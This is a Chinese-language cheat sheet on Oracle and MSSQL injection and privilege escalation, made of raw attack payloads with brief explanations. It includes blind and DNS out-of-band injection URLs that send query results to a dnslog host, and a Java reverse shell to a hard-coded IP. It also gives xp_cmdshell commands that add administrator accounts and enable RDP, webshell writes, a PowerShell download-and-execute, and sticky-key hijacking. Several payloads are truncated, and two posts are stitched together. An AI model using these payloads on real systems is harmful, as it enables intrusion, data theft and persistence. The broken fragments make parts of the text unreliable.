DBMS_LOCK.SLEEP()函数可以让一个过程休眠很多秒,但使用该函数存在许多限制。 首先,不能直接将该函数注入子查询中,因为 Oracle 不支持堆叠查询 (stacked query)。其次,只有数据库管理员才能使用 DBMS_LOCK 包。 在 Oracle PL/SQL 中有一种更好的办法,可以使用下面的指令以内联方式注入延迟: dbms_pipe.receive_message('RDS', 10) DBMS_PIPE.RECEIVE_MESSAGE() 函数将为从 RDS 管道返回的数据等待 10 秒。默认情况下,允许以 public 权限执行该包。DBMS_LOCK.SLEEP()与之相反,它是一个可以用在 SQL 语句中的函数。 # 查看是否可以使用 dbms_pipe.receive_message () 函数进行延时注入 ?id=1 and 1=(dbms_pipe.receive_message('RDS',5)) --+ # 猜解当前用户 ?id=1 and 7238=(case when (ascii(substrc((select nvl(cast(user as varchar(4000)),chr(32)) from dual),1,1)) > 65) then dbms_pipe.receive_message(chr(32)%7c%7cchr(106)%7c%7cchr(72)%7c%7cchr(73),5) else 7238 end) --+ # 猜解表名 ?id=1 and 7238=(case when (ascii(substrc((select nvl(cast(table_name as varchar(4000)),chr(32)) from all_tables where rownum=1 and owner='TEST'),1,1)) > 65) then dbms_pipe.receive_message(chr(32)%7c%7cchr(106)%7c%7cchr(72)%7c%7cchr(73),5) else 7238 end) --+ # 猜解字段 ?id=1 and 7238=(case when (ascii(substrc((select nvl(cast(column_name as varchar(4000)),chr(32)) from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1),1,1)) > 65) then dbms_pipe.receive_message(chr(32)%7c%7cchr(106)%7c%7cchr(72)%7c%7cchr(73),5) else 7238 end) --+ # 猜解数据 ?id=1 and 7238=(case when (ascii(substrc((select nvl(cast(username as varchar(4000)),chr(32)) from test.users where rownum=1),1,1)) > 65) then dbms_pipe.receive_message(chr(32)%7c%7cchr(106)%7c%7cchr(72)%7c%7cchr(73),5) else 7238 end) --+ decode () 原理:结合耗费时间的查询语句,不过在使用的过程中有很多不尽如人意的地方,有时候加载快有时加载慢。 ?id=1 and 1=(select decode(substr(user,1,1),'S',(select count(*) from all_objects),0) from dual) --+ decode () 与 dbms_pipe.receive_message () 嵌套时间盲注 ?id=1 and 1=(select decode(substr(user,1,1),'S',dbms_pipe.receive_message('RDS', 5),0) from dual) --+ DNS外带注入 Oracle 注入之带外通信和 DNSLOG 注入非常相似,例如和 mysql 中 load_file () 函数实现无回显注入非常相似。 Oracle 发送 HTTP 和 DNS 请求,并将查询结果带到请求中,然后检测外网服务器的 HTTP 和 DNS 日志,从日志中获取查询结果,通过这种方式将繁琐的盲注转换成可以直接获取查询结果的方式。 使用第三方平台,监听访问请求,并记录请求的日志信息,然后使用 utl_http.request() 向外网主机发送 http 请求,请求便携带了查询的结果信息。此处可以结合 SSRF 进行内网探测。或许这就是 Oracle 的 SSRF。 利用 utl.inaddr.get_host_address(),将查询结果拼接到域名下,并使用 DNS 记录解析日志,通过这种方式获取查询结果。 # 检测是否支持 utl_http.request ?id=1 and exists (select count(*) from all_objects where object_name='UTL_HTTP') --+ # 获取用户名 ?id=1 and utl_http.request('http://'%7c%7c(select user from dual)%7c%7c'.z9mt3s.dnslog.cn/oracle')=1--+ # 获取表名 ?id=1 and utl_http.request('http://'%7c%7c(select table_name from all_tables where rownum=1 and owner='TEST')%7c%7c'.z9mt3s.dnslog.cn/oracle')=1--+ # 获取列名 ?id=1 and utl_http.request('http://'%7c%7c(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1)%7c%7c'.z9mt3s.dnslog.cn/oracle')=1--+ # 获取数据 ?id=1 and utl_http.request('http://'%7c%7c(select username from test.users where rownum=1)%7c%7c'.z9mt3s.dnslog.cn/oracle')=1--+ 利用漏洞提权命令执行 dbms_export_extension() 影响版本:Oracle 8.1.7.4, 9.2.0.1-9.2.0.7, 10.1.0.2-10.1.0.4, 10.2.0.1-10.2.0.2, XE (Fixed in CPU July 2006) 权限:None 详情:这个软件包有许多易受 PL/SQL 注入攻击的函数。这些函数由 SYS 拥有,作为 SYS 执行并且可由 PUBLIC 执行。因此,如果 SQL 注入处于上述任何未修补的 Oracle 数据库版本中,那么攻击者可以调用该函数并直接执行 SYS 查询。 提升权限 该请求将导致查询 "GRANT DBA TO PUBLIC" 以 SYS 身份执行。因为这个函数允许 PL / SQL 缺陷(PL / SQL 注入)。一旦这个请求成功执行,PUBLIC 获取 DBA 角色,从而提升当前 user 的特权 select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant dba to public'''';END;'';END;--','SYS',0,'1',0) from dual 使用Java执行 # 创建java库 select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {publ # 赋予Java权限 select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission(''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''',''''''''<>'''''''', '' # 创建函数 select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name''''''''LinxUtil.runCMD(java # 赋予函数执行权限 select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual # 执行系统命令 select sys.LinxRunCMD('/bin/bash -c /usr/bin/whoami') from dual dbms_xmlquery.newcontext() 影响版本:Oracle 8.1.7.4, 9.2.0.1-9.2.0.7, 10.1.0.2-10.1.0.4, 10.2.0.1-10.2.0.2, XE (Fixed in CPU July 2006) 必须在 DBMS_PORT_EXTENSION 存在漏洞情况下,否则赋予权限时无法成功 # 创建java库 select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedRe # 赋予当前用户Java权限 select user from dual select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission(''''''''YY'''''''', ''''''''SYS:java.io.FilePermission'''''''',''''''''<>'''''''', '''''' # 查看 all_objects 内部改变 select * from all_objects where object_name like '%LINX%' or object_name like '%Linx%' # 创建函数 select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil.runCMD(java.lang.String) return String''''; '';commit;end;') from dual; # 判断是否创建成功 select OBJECT_ID from all_objects where object_name ='LINXRUNCMD' # 执行命令 select LinxRunCMD('id') from dual # 删除函数 drop function LinxRunCMD dbms_java_test.funcall() 影响版本:10g R2, 11g R1, 11g R2 权限:Java Permissions Select DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','/bin/bash','-c','pwd > /tmp/pwd.txt') from dual; 执行会有一定报错,但是不影响命令执行 Java反弹shell # linux系统payload import java.io.*; import java.net.*; public class shellRev {        public static void main(String[] args)       {                System.out.println(1);                try{run();}                catch(Exception e){}       } public static void run() throws Exception       {                String[] aaa={"/bin/bash","-c","exec 9<> /dev/tcp/192.168.1.50/8080;exec 0<&9;exec 1>&9 2>&1;/bin/sh"};                Process p=Runtime.getRuntime().exec(aaa);   } } #编译 javac shellRev.java #执行 java shellRev # 创建 Java 库 select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace and compile java source named "shell" as import java.io.*;import java.net.*;public class sh end
数据库注入提权总结(三)
MSSQL GetShell 扩展存储过程 扩展存储简介 在MSSQL注入攻击过程中,最长利用的扩展存储如下 xp_cmdshell详细使用方法: xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后的版本中则默认禁止 。如果用户拥有管理员sysadmin 权限则可以用sp_configure重新开启它 execute('sp_configure "show advanced options",1')  # 将该选项的值设置为1 execute('reconfigure')                             # 保存设置 execute('sp_configure "xp_cmdshell", 1')           # 将xp_cmdshell的值设置为1 execute('reconfigure')                             # 保存设置 execute('sp_configure')                            # 查看配置 execute('xp_cmdshell "whoami"')                    # 执行系统命令 exec sp_configure 'show advanced options',1;       # 将该选项的值设置为1 reconfigure;                                       # 保存设置 exec sp_configure 'xp_cmdshell',1;                 # 将xp_cmdshell的值设置为1 reconfigure;                                       # 保存设置 exec sp_configure;                                 # 查看配置 exec xp_cmdshell 'whoami';                         # 执行系统命令 # 可以执行系统权限之后,前提是获取的主机权限是administrators组里的或者system权限 exec xp_cmdshell 'net user Guest 123456'           # 给guest用户设置密码 exec xp_cmdshell 'net user Guest /active:yes'      # 激活guest用户 exec xp_cmdshell 'net localgroup administrators Guest /add'  # 将guest用户添加到administrators用户组 exec xp_cmdshell 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'  # 开启3389端口 扩展存储Getshell 条件 数据库是 db_owner 权限 扩展存储必须开启,涉及到的的扩展存储过程: xp_cmdshell、 xp_dirtree、 xp_subdirs、 xp_regread 1.查看是否禁用扩展存储过程xp_cmdshell id=0 union select 1,2,count(*) FROM master..sysobjects Where xtype = 'X' AND name = 'xp_cmdshell'--+ id=1 and 1=(select count(*) from master.sys.sysobjects where name='xp_cmdshell')--+ 2.执行命令 id=1;exec master.sys.xp_cmdshell 'net user admin Admin@123 /add'--+ id=1;exec master.sys.xp_cmdshell 'net localgroup administrators admin /add'--+ 差异备份GetShell 差异备份简介 差异备份数据库得到webshell。在sqlserver里dbo和sa权限都有备份数据库权限,我们可以把数据库备份称asp文件,这样我们就可以通过mssqlserver的备份数据库功能生成一个网页小马。 前提条件 具有db_owner权限 知道web目录的绝对路径 寻找绝对路径的方法 报错信息 字典爆破 根据旁站目录进行推测 存储过程来搜索 在mssql中有两个存储过程可以帮我们来找绝对路径:xp_cmdshell xp_dirtree 先来看xp_dirtree直接举例子 execute master..xp_dirtree 'c:' --列出所有c:\文件、目录、子目录 execute master..xp_dirtree 'c:',1 --只列c:\目录 execute master..xp_dirtree 'c:',1,1 --列c:\目录、文件 当实际利用的时候我们可以创建一个临时表把存储过程查询到的路径插入到临时表中 CREATE TABLE tmp (dir varchar(8000),num int,num1 int); insert into tmp(dir,num,num1) execute master..xp_dirtree 'c:',1,1; 当利用xp_cmdshell时,其实就是调用系统命令来寻找文件 例如: ?id=1;CREATE TABLE cmdtmp (dir varchar(8000)); ?id=1;insert into cmdtmp(dir) exec master..xp_cmdshell 'for /r c:\ %i in (1*.aspx) do @echo %i' 读配置文件 差异备份的大概流程 1.完整备份一次(保存位置当然可以改) backup database 库名 to disk = 'c:\ddd.bak';--+ **2.创建表并插入数据** create table [dbo].[dtest] ([cmd] [image]);--+ insert into dtest(cmd)values(0x3C25657865637574652872657175657374282261222929253E);--+ **3.进行差异备份** backup database 库名 to disk='c:\interub\wwwroot\shell.asp' WITH DIFFERENTIAL,FORMAT;--+ # 上面0x3C25657865637574652872657175657374282261222929253E即一句话木马的内容:<%execute(request("a"))%> xp_cmdshell GetShell 原理很简单,就是利用系统命令直接像目标网站写入木马 ?id=1;exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> > c:\\WWW\\404.aspx' ; 这里要注意 <和>必须要转义,转义不是使用\而是使用^ 文件下载getshell 当我们不知道一些网站绝对路径时,我们可以通过文件下载命令,加载远程的木马文件,或者说.ps1脚本,使目标机器成功上线cs或者msf MSSQL提权 存储过程说明 xp_dirtree 用于显示当前目录的子目录,有如下三个参数   directory:表示要查询的目录   depath:要显示子目录的深度,默认值是0,表示所有的子目录   file:第三个参数,布尔类型,指定是否显示子目录中的文件,默认值是0,标水不显示任何文件,只显示子目录 xp_dirtree 能够触发NTLM请求xp_dirtree '\\<attacker_IP>\any\thing' xp_subdirs 用于得到给定的文件夹内的文件夹列表 exec xp_subdirs 'c:\' xp_fixeddrives 用于查看磁盘驱动器剩余的空间 exec xp_fixeddrives xp_availablemedia 用于获得当前所有的驱动器 exec xp_availablemedia xp_fileexist 用于判断文件是否存在 exec xp_fileexist 'c:\windows\123.txt' xp_create_subdir 用于创建子目录,参数是子目录的路径 exec xp_create_subdir 'c:\users\admin\desktop\test' xp_delete_file 可用于删除文件,但是不会删除任意类型的文件,系统限制它只能删除特定类型(备份文件和报表文件) 第一个参数是文件类型(File Type),有效值是0和1,0是指备份文件,1是指报表文件; 第二个参数是目录路径(Folder Path), 目录中的文件会被删除,目录路径必须以“\”结尾; 第三个参数是文件的扩展名(File Extension),常用的扩展名是'BAK' 或'TRN'; 第四个参数是Date,早于该日期创建的文件将会被删除; 第五个参数是子目录(Subfolder),bool类型,0是指忽略子目录,1是指将会删除子目录中的文件; xp_regenumkeys 可以查看指定的注册表 exec xp_regenumkeys 'HKEY_CURRENT_USER','Control Panel\International' xp_regdeletekey 删除指定的注册表键值 EXEC xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe'; xp_regwrite 描述: 修改注册表 利用条件: xpstar.dll 修改注册表来劫持粘贴键(映像劫持) (测试结果 Access is denied,没有权限) exec master..xp_regwrite @rootkey='HKEY_LOCAL_MACHINE',@key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.EXE',@value_name='Debugger',@type='REG_SZ',@value='c:\windows\system32\cmd.exe' sp_addextendedproc 可以用于恢复组件 EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll' EXEC sp_addextendedproc xp_enumgroups ,@dllname ='xplog70.dll' EXEC sp_addextendedproc xp_loginconfig ,@dllname ='xplog70.dll' EXEC sp_addextendedproc xp_enumerrorlogs ,@dllname ='xpstar.dll' EXEC sp_addextendedproc xp_getfiledetails ,@dllname ='xpstar.dll' EXEC sp_addextendedproc Sp_OACreate ,@dllname ='odsole70.dll' EXEC sp_addextendedproc Sp_OADestroy ,@dllname ='odsole70.dll' EXEC sp_addextendedproc Sp_OAGetErrorInfo ,@dllname ='odsole70.dll' EXEC sp_addextendedproc Sp_OAGetProperty ,@dllname ='odsole70.dll' EXEC sp_addextendedproc Sp_OAMethod ,@dllname ='odsole70.dll' EXEC sp_addextendedproc Sp_OASetProperty ,@dllname ='odsole70.dll' EXEC sp_addextendedproc Sp_OAStop ,@dllname ='odsole70.dll' EXEC sp_addextendedproc xp_regaddmultistring ,@dllname ='xpstar.dll' EXEC sp_addextendedproc xp_regdeletekey ,@dllname ='xpstar.dll' EXEC sp_addextendedproc xp_regdeletevalue ,@dllname ='xpstar.dll' EXEC sp_addextendedproc xp_regenumvalues ,@dllname ='xpstar.dll' EXEC sp_addextendedproc xp_regremovemultistring ,@dllname ='xpstar.dll' EXEC sp_addextendedproc xp_regwrite ,@dllname ='xpstar.dll' EXEC sp_addextendedproc xp_dirtree ,@dllname ='xpstar.dll' EXEC sp_addextendedproc xp_regread ,@dllname ='xpstar.dll' EXEC sp_addextendedproc xp_fixeddrives ,@dllname ='xpstar.dll' sp_dropextendedproc 用于删除扩展存储过程 exec sp_dropextendedproc 'xp_cmdshell' xp_cmdshell 描述: xp_cmdshell 是 Sql Server 中的一个组件,我们可以用它来执行系统命令。 利用条件: 拥有 DBA 权限, 在 2005 中 xp_cmdshell 的权限是 system,2008 中是 network。 依赖 xplog70.dll -- 判断当前是否为DBA权限,为1则可以提权 select is_srvrolemember('sysadmin'); -- 查看是否存在 xp_cmdshell EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; -- 查看能否使用 xp_cmdshell,从MSSQL2005版本之后默认关闭 select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell' -- 关闭 xp_cmdshell EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 0;RECONFIGURE; -- 开启 xp_cmdshell EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE; -- 执行 xp_cmdshell exec xp_cmdshell 'cmd /c whoami' -- xp_cmdshell 调用cmd.exe用powershell 远程下载exe并执行 exec xp_cmdshell '"echo $client = New-Object System.Net.WebClient > %TEMP%\test.ps1 & echo $client.DownloadFile("http://example/test0.exe","%TEMP%\test.exe") >> %TEMP%\test.ps1 & powershell -ExecutionPolicy Bypass %temp%\test.ps1 & WMIC process call create "%TEMP%\test.exe""' 无回显,也无法进行dnslog怎么办: 通过临时表查看命令执行结果(在注入时,要能堆叠) CREATE TABLE tmpTable (tmp1 varchar(8000)); insert into tmpTable(tmp1) exec xp_cmdshell 'ipconfig' select * from tmpTable 如果 xp_cmdshell 被删除了: 如果 xp_cmdshell 被删除了,需要重新恢复或自己上传 xplog70.dll 进行恢复 以mssql2012为例,默认路径为: C:\Program Files\Microsoft SQL Server\MSSQL12.MSSQLSERVER\MSSQL\Binn\xplog70.dll-- 判断存储扩展是否存在,返回结果为1就OK Select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell' -- 恢复xp_cmdshell,返回结果为1就OK Exec sp_addextendedproc 'xp_cmdshell','xplog70.dll'; select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell' -- 否则上传xplog70.dll Exec master.dbo.sp_addextendedproc 'xp_cmdshell','D:\\xplog70.dll' sp_oacreate 描述: 使用sp_oacreate的提权语句,主要是用来调用OLE对象(Object Linking and Embedding的缩写,VB中的OLE对象),利用OLE对象的run方法执行系统命令。 利用条件: 拥有DBA权限 依赖odsole70.dll -- 判断当前是否为DBA权限,为1则可以提权 select is_srvrolemember('sysadmin'); -- 判断SP_OACREATE状态,如果存在返回1 select count(*) from master.dbo.sysobjects where xtype='x' and name='SP_OACREATE' -- 启用 sp_oacreate exec sp_configure 'show advanced options',1; reconfigure; exec sp_configure 'Ole Automation Procedures', 1; reconfigure; -- wscript.shell组件执行系统命令 declare @ffffffff0x int,@exec int,@text int,@str varchar(8000) exec sp_oacreate 'wscript.shell',@ffffffff0x output exec sp_oamethod @ffffffff0x,'exec',@exec output,'C:\\Windows\\System32\\cmd.exe /c whoami' exec sp_oamethod @exec, 'StdOut', @text out exec sp_oamethod @text, 'readall', @str out select @str; -- 输出执行结果到指定文件 declare @ffffffff0x int exec sp_oacreate 'wscript.shell',@ffffffff0x output exec sp_oamethod @ffffffff0x,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\\www\\1.txt' -- 利用com组件执行命令 declare @ffffffff0x int,@exec int,@text int,@str varchar(8000) exec sp_oacreate '{72C24DD5-D70A-438B-8A42-98424B88AFB8}',@ffffffff0x output exec sp_oamethod @ffffffff0x,'exec',@exec output,'C:\\Windows\\System32\\cmd.exe /c whoami' exec sp_oamethod @exec, 'StdOut', @text out exec sp_oamethod @text, 'readall', @str out select @str; -- 利用com组件写文件 DECLARE @ObjectToken INT; EXEC Sp_OACreate '{00000566-0000-0010-8000-00AA006D2EA4}',@ObjectToken OUTPUT; EXEC Sp_OASetProperty @ObjectToken, 'Type', 1; EXEC sp_oamethod @ObjectToken, 'Open'; EXEC sp_oamethod @ObjectToken, 'Write', NULL, 0x66666666666666663078; EXEC sp_oamethod @ObjectToken, 'SaveToFile', NULL,'ffffffff0x.txt',2; EXEC sp_oamethod @ObjectToken, 'Close'; EXEC sp_OADestroy @ObjectToken; -- 利用filesystemobject写vb脚本 (目录必须存在,否则也会显示成功,但是没有文件写入) declare @o int, @f int, @t int, @ret int,@a int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o,'createtextfile', @f out, 'c:\\www\\ffffffff0x.vbs', 1 exec @ret = sp_oamethod @f, 'writeline', NULL, 'hahahahahahhahahah'declare @o int, @f int, @t int, @ret int,@a int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o,'createtextfile', @f out, 'c:\\www\\ffffffff0x.vbs', 1 exec @ret = sp_oamethod @f, 'writeline', NULL, 'hahahahahahhahahah(这里是文件写入的内容)' -- 配合 wscript.shell 组件执行 DECLARE @s int EXEC sp_oacreate [wscript.shell], @s out EXEC sp_oamethod @s,[run],NULL,[c:\\www\\ffffffff0x.vbs] -- 复制具有不同名称和位置的 calc.exe 可执行文件 (测试未成功) declare @ffffffff0x int; exec sp_oacreate 'scripting.filesystemobject', @ffffffff0x out; exec sp_oamethod @ffffffff0x,'copyfile',null,'c:\\windows\\system32\calc.exe','c:\\windows\\system32\calc_copy.exe'; -- 移动文件 (测试好像只有 利用写入的VB脚本才能创建) declare @ffffffff0x int exec sp_oacreate 'scripting.filesystemobject',@ffffffff0x out exec sp_oamethod @ffffffff0x,'movefile',null,'c:\\www\\1.txt','c:\\www\\3.txt' -- 替换粘滞键 declare @ffffffff0x int; exec sp_oacreate 'scripting.filesystemobject', @ffffffff0x out; exec sp_oamethod @ffffffff0x,'copyfile',null,'c:\\windows\\system32\calc.exe','c:\\windows\\system32\sethc.exe'; declare @ffffffff0x int; exec sp_oacreate 'scripting.filesystemobject', @ffffffff0x out; exec sp_oamethod @ffffffff0x,'copyfile',null,'c:\windows\system32\sethc.exe','c:\windows\system32\dllcache\sethc.exe' -- 使用JavaScript创建账户,更改其密码并将新账号添加到管理员组 (测试未成功) declare @ffffffff0x int EXEC sp_OACreate 'ScriptControl',@ffffffff0x OUT EXEC sp_OASetProperty @ffffffff0x, 'Language','JavaScript' EXEC sp_OAMethod @ffffffff0x, 'Eval', NULL,'var o=new ActiveXObject("Shell.Users");z=o.create("testuser");z.changePassword("123456!@#","");z.setting("AccountType")=3;'; SQL Server Agent Job 代理执行计划任务 描述: SQL Server 代理是一项 Microsoft Windows 服务,它执行计划的管理任务,这些任务在 SQL Server 中称为作业。 利用条件: 拥有 DBA 权限 需要 sqlserver 代理 (sqlagent) 开启,Express 版本Sql Server 是无法启用的 -- 开启 sqlagent 服务 (还是没有权限,很纳闷,sa账户登录 还没权限) exec master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT'; -- 利用任务计划命令执行(无回显,可以 dnslog) -- 创建任务 test,这里test为任务名称,并执行命令,命令执行后的结果,将返回给文本文档out.txt use msdb; exec sp_delete_job null,'test' exec sp_add_job 'test' exec sp_add_jobstep null,'test',null,'1','cmdexec','cmd /c "whoami>c:/out.txt"' exec sp_add_jobserver null,'test',@@servername exec sp_start_job 'test'; CLR提权 描述: 从 SQL Server 2005 (9.x) 开始,SQL Server 集成了用于 Microsoft Windows 的 .NET Framework 的公共语言运行时 (CLR) 组件。 这意味着现在可以使用任何 .NET Framework 语言(包括 Microsoft Visual Basic .NET 和 Microsoft Visual C#)来编写存储过程、触发器、用户定义类型、用户定义函数、用户定义聚合和流式表值函数。 - https://docs.microsoft.com/zh-cn/sql/relational-databases/clr-integration/c CLR 方式可以利用 16 进制文件流方式导入 DLL 文件,不需要文件落地 https://github.com/SafeGroceryStore/MDUT/blob/main/MDAT-DEV/src/main/Plugins/Mssql/clr.txt dll的制作可以参考下面的文章 https://xz.aliyun.com/t/10955#toc-12 利用条件: 拥有DBA权限 -- 启用CLR,SQL Server 2017版本之前 sp_configure 'show advanced options',1;RECONFIGURE; -- 显示高级选项 sp_configure 'clr enabled',1;RECONFIGURE; -- 启用CLR ALTER DATABASE master SET TRUSTWORTHY ON; -- 将存储.Net程序集的数据库配置为可信赖的 -- 启用CLR,SQL Server 2017版本及之后,引入了严格的安全性,可以选择根据提供的 SHA512 散列专门授予单个程序集的 UNSAFE 权限 sp_configure 'show advanced options',1;RECONFIGURE; sp_configure 'clr enabled',1;RECONFIGURE; sp_add_trusted_assembly @hash= <SHA512 of DLL>; -- 将某程序集的SHA512哈希值添加到可信程序集列表中 -- 配置 EXTERNAL ACCESS ASSEMBLY 权限, test 是我指定的数据库 EXEC sp_changedbowner 'sa' ALTER DATABASE [test] SET trustworthy ON -- 导入CLR插件 CREATE ASSEMBLY [mssql_CLR] AUTHORIZATION [dbo]  FROM 0x4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000504500004C0103006607056200000000000  WITH PERMISSION_SET = UNSAFE; GO -- 创建CLR函数 CREATE PROCEDURE [dbo].[ExecCommand] @cmd NVARCHAR (MAX) AS EXTERNAL NAME [mssql_CLR].[StoredProcedures].[ExecCommand] go -- 利用CLR执行系统命令 exec dbo.ExecCommand "whoami /all"; ------------------------------------------------------------------------------------------------------------------------------ -- 格式简化 -- 导入CLR插件 CREATE ASSEMBLY [clrdata] AUTHORIZATION [dbo] FROM 0x16进制的dll WITH PERMISSION_SET = UNSAFE; -- 创建CLR函数 CREATE PROCEDURE [dbo].[testclrexec] @method NVARCHAR (MAX) , @arguments NVARCHAR (MAX) AS EXTERNAL NAME [clrdata].[StoredProcedures].[testclrexec] -- 利用CLR执行系统命令 exec testclrexec 'cmdexec',N'whoami' 触发器提权 触发器是一种特殊类型的存储过程,它不同于存储过程。触发器主要是通过事件进行触发被自动调用执行的。而存储过程可以通过存储过程的名称被调用。 SqlServer 包括三种常规类型的触发器:DML 触发器、DDL 触发器和登录触发器 登录触发器: 登录触发器将为响应 LOGIN 事件而激发存储过程。与 SQL Server 实例建立用户会话时将引发此事件。登录触发器将在登录的身份验证阶段完成之后且用户会话实际建立之前激发。因此,来自触发器内部且通常将到达用户的所有消息(例如错误消息和来自 PRINT 语句的消息)会传送到 SQL Server 错误日志。如果身份验证失败,将不激发登录触发器。 -- 设置一个触发器 ffffffff0x,当 user 表更新时触发命令 (user 表 必须存在,且 容易 卡死 因为这个calc在运行 查询就不会停止) set ANSI_NULLS on go set QUOTED_IDENTIFIER on go create trigger [ffffffff0x] on [user] AFTER UPDATE as begin   execute master..xp_cmdshell 'cmd.exe /c calc.exe' end go -- user 表 update 更新时,自动触发 UPDATE user SET id = '22' WHERE nickname = 'f0x' SQL Server R 和 Python 的利用 描述 在 SQL Server 2017 及更高版本中,R 与 Python 一起随附在机器学习服务中。该服务允许通过 SQL Server 中 sp_execute_external_script 执行 Python 和 R 脚本 利用条件: Machine Learning Services 必须要在 Python 安装过程中选择 必须启用外部脚本 EXEC sp_configure 'external scripts enabled', 1 RECONFIGURE WITH OVERRIDE 重新启动数据库服务器 用户拥有执行任何外部脚本权限 -- R脚本利用 -- 利用 R 执行命令 sp_configure 'external scripts enabled' GO EXEC sp_execute_external_script @language=N'R', @script=N'OutputDataSet <- data.frame(system("cmd.exe /c dir",intern=T))' WITH RESULT SETS (([cmd_out] text)); GO -- 利用 R 抓取 Net-NTLM 哈希 @script=N'.libPaths("\\\\testhost\\foo\\bar");library("0mgh4x")' -- Python脚本利用 -- 查看版本 exec sp_execute_external_script @language =N'Python', @script=N'import sys OutputDataSet = pandas.DataFrame([sys.version])' WITH RESULT SETS ((python_version nvarchar(max))) -- 利用 Python 执行命令 exec sp_execute_external_script @language =N'Python', @script=N'import subprocess p = subprocess.Popen("cmd.exe /c whoami", stdout=subprocess.PIPE) OutputDataSet = pandas.DataFrame([str(p.stdout.read(), "utf-8")])' -- 利用 Python 读文件 EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())' WITH RESULT SETS (([cmd_out] nvarchar(max))) AD Hoc 分布式查询 & Microsoft OLE DB Provider for Microsoft Jet (沙盒提权) AD Hoc 分布式查询允许从多个异构数据源(例如 SQL Server 的多个实例)访问数据。这些数据源可以存储在相同或不同的计算机上。启用临时访问后,登录到该实例的任何用户都可以使用 OLE DB 提供程序通过 OPENROWSET 或 OPENDATASOURCE 函数执行引用网络上任何数据源的 SQL 语句。 攻击者滥用 Ad Hoc 分布式查询和 Microsoft OLE DB Provider for Microsoft Jet 来创建和执行旨在从远程服务器下载恶意可执行文件的脚本。 利用条件 拥有 DBA 权限 sqlserver 服务权限为 system 服务器拥有 jet.oledb.4.0 驱动 -- 修改注册表,关闭沙盒模式 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0 -- 开启 Ad Hoc Distributed Queries EXEC sp_configure 'show advanced options', 1 RECONFIGURE GO EXEC sp_configure 'ad hoc distributed queries', 1 RECONFIGURE GO -- Until SQL Server 2012 EXEC sp_MSset_oledb_prop 